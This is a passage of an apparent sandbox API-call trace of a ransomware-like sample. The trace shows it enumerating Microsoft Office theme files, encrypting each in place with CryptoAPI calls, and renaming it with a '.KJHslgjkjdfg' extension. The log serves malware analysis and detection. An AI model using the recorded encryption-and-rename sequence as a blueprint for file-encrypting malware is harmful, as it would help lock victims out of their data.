[0196.595] GetProcessHeap () returned 0x2a0000 [0196.595] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2fb738 | out: hHeap=0x2a0000) returned 1 [0196.595] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0196.596] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0196.596] GetProcessHeap () returned 0x2a0000 [0196.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c06b8 | out: hHeap=0x2a0000) returned 1 [0196.596] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0196.596] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0196.596] GetProcessHeap () returned 0x2a0000 [0196.596] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad8 | out: hHeap=0x2a0000) returned 1 [0196.596] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0196.596] GetProcessHeap () returned 0x2a0000 [0196.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7a) returned 0x2f5738 [0196.596] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0196.600] GetProcessHeap () returned 0x2a0000 [0196.600] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0196.600] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0196.602] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0196.602] GetProcessHeap () returned 0x2a0000 [0196.602] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27c) returned 0x2c06b8 [0196.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.605] GetProcessHeap () returned 0x2a0000 [0196.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.605] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.605] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.605] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0196.608] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.608] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.608] GetProcessHeap () returned 0x2a0000 [0196.608] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.608] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.608] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.608] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.608] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.608] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.609] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.609] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.609] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.609] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd0aa, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd0aa, lpOverlapped=0x0) returned 1 [0196.611] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd0b0, dwBufLen=0xd0b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd0b0) returned 1 [0196.611] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.611] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd0b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd0b0, lpOverlapped=0x0) returned 1 [0196.612] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.612] SetEndOfFile (hFile=0x124) returned 1 [0196.615] GetProcessHeap () returned 0x2a0000 [0196.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.615] GetProcessHeap () returned 0x2a0000 [0196.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.kjhslgjkjdfg")) returned 1 [0196.617] CloseHandle (hObject=0x124) returned 1 [0196.617] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0196.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.639] GetProcessHeap () returned 0x2a0000 [0196.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.639] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.639] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.639] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.642] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.642] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.642] GetProcessHeap () returned 0x2a0000 [0196.642] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.642] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.642] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.642] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.642] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.642] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.643] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.643] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.643] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.643] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11098, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x11098, lpOverlapped=0x0) returned 1 [0196.645] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x110a0, dwBufLen=0x110a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x110a0) returned 1 [0196.646] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.646] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x110a0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x110a0, lpOverlapped=0x0) returned 1 [0196.646] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.646] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.646] SetEndOfFile (hFile=0x124) returned 1 [0196.650] GetProcessHeap () returned 0x2a0000 [0196.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.650] GetProcessHeap () returned 0x2a0000 [0196.650] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.kjhslgjkjdfg")) returned 1 [0196.652] CloseHandle (hObject=0x124) returned 1 [0196.652] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0196.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.654] GetProcessHeap () returned 0x2a0000 [0196.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.654] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x9, lpOverlapped=0x0) returned 1 [0196.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.657] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.657] GetProcessHeap () returned 0x2a0000 [0196.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0196.657] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0196.657] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.657] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0196.657] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.657] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.657] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.658] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.658] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.658] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f427, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x3f427, lpOverlapped=0x0) returned 1 [0196.663] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3f430, dwBufLen=0x3f430 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3f430) returned 1 [0196.667] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.667] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3f430, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x3f430, lpOverlapped=0x0) returned 1 [0196.668] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.668] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3f4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.668] SetEndOfFile (hFile=0x124) returned 1 [0196.672] GetProcessHeap () returned 0x2a0000 [0196.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0196.672] GetProcessHeap () returned 0x2a0000 [0196.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx.kjhslgjkjdfg")) returned 1 [0196.674] CloseHandle (hObject=0x124) returned 1 [0196.674] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0196.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.676] GetProcessHeap () returned 0x2a0000 [0196.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.676] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.676] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xa, lpOverlapped=0x0) returned 1 [0196.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.680] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.680] GetProcessHeap () returned 0x2a0000 [0196.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.680] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.680] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.680] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.680] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.680] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.680] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.681] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, 